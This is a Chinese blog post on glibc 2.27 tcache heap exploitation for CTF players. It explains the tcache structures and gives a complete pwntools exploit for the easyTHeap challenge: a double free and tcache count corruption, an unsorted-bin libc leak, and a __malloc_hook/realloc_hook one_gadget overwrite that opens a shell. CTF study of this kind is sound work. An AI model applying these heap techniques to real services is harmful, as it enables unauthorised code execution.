MENU

libc 2.27下tcache的基础利用

December 14, 2020 • Read: 476 • Pwn

基础介绍:

tcache:thread local caching,在libc2.26及以上系统中默认开始(Ubuntu 16.04中是2.23, Ubuntu 18.04中是2.27)
每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk。
chunk大小在x64上以0x10递增(0x18 ~ 0x408),在x86上以0x8递增(0xC ~ 0x200)。

引入了两个新的数据结构,tcache_entrytcache_perthread_struct

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct
counts:用来存放对应bins中的chunk数量
entries: 用来指向对应bins中的头部指针,然后用指针对应位置的tcache_entry结构的next进行索引,构成一个单向链表结构。

tcache_entry
*next:用来指向下一个chunk,与fastbin中的类似,位置正是原来fastbin的fd位置,且在free时也是把头部指针指向,最后一个free进入tcache中的块。

触发在tcache中放入chunk的操作(tcache_put)

free:
在fastbin操作前进行,如果chunk size符合要求(小于最大限制),且对应的bins还没有装满(7个chunk),则将其放入tcache bin中。
malloc:
1.从fastbin中返回了一个所需要的chunk,那么这个chunk对应的fastbin中的其他chunk会被放进对应的tcache bin中,直到装满为止。而且chunks在tcache bin的顺序和fastbin中的顺序相反。
2.small bin中的情况也与fastbin类似。
3.binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个。

触发从tcache中取出chunk的操作(tcache_get)

malloc
如果在tcache bin中有符合要求的chunk,则直接返回这个chunk。

tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。

例题:

[V&N2020 公开赛]easyTHeap
1.double free
2.UAF change tcache(0x90),爆破4字节。
3.添加三次后,0x90对应的tcache size变成-1
4.-1 == 0xFF > 7,所以这时候free会进入unsorted bin
5.leak unsorted bin
6.打malloc_hook,并且利用realloc_hook进行调整

 from pwn import *
from LibcSearcher import *
#context.log_level = "debug"

def choice(idx):
    r.sendlineafter("choice: ", str(idx))

def add(size):
    choice(1)
    r.sendlineafter("size?", str(size))

def edit(idx, content):
    choice(2)
    r.sendlineafter("idx?", str(idx))
    r.sendafter("content:", content)

def show(idx):
    choice(3)
    r.sendlineafter("idx?", str(idx))

def delete(idx):
    choice(4)
    r.sendlineafter("idx?", str(idx))
def pwn():
    heap_addr = 0x0088
    add(0x88) #0
    add(0x18) #1
    delete(0)
    delete(0) #double free
    add(0x88) #2

    edit(2, p16(heap_addr))
    add(0x88) #3
    add(0x88) #4 tcache
    #tcache size == -1
    
    #unsortbin leak
    delete(2)
    show(2)
    malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
    log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
    libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
    libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
    log.success("libc_base: " + hex(libc_base))
    realloc_addr = libc_base + libc.dump('realloc')
    log.success("realloc_addr: " + hex(realloc_addr))
    #one = [0x4f365, 0x4f365, 0x4f365]
    one = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + one[2]
    log.success("one_gadget: " + hex(one_gadget))
    edit(4, p64(malloc_hook_addr - 8))
    add(0x88) #5 realloc_hook __malloc_hook
    edit(5, p64(one_gadget) + p64(realloc_addr + 6))
    
    #getshell
    add(0x88)
    r.interactive()

while True:
    try:
        #r = process('./vn_pwn_easyTHeap')
        r = remote('node3.buuoj.cn', 27905)
        pwn()
    except EOFError:
        pass

SWPUCTF 2020 tnote
http://blog.wjhwjhn.com/archives/104/

SWPUCTF 2019 p1KkHeap
http://blog.wjhwjhn.com/archives/97/

总结

ubuntu16.04已经慢慢地要被淘汰了,现在比赛的题目大多数都是在libc 2.27下,如果出现libc2.23一般都会是比较难的题目,例如:ByteCTF 2019 note_five
http://blog.wjhwjhn.com/archives/117/ ,考察IO_fILE leak的一些技巧,堆块限制卡的很死。
基本上简单的fastbin attack考察已经不复存在了,其完全可以被tcache attack取代,不过我觉得tcache反而更容易利用更简单一些。
所以掌握简单的tcache一定是有必要的。

Archives QR Code Tip
QR Code for this page
Tipping QR Code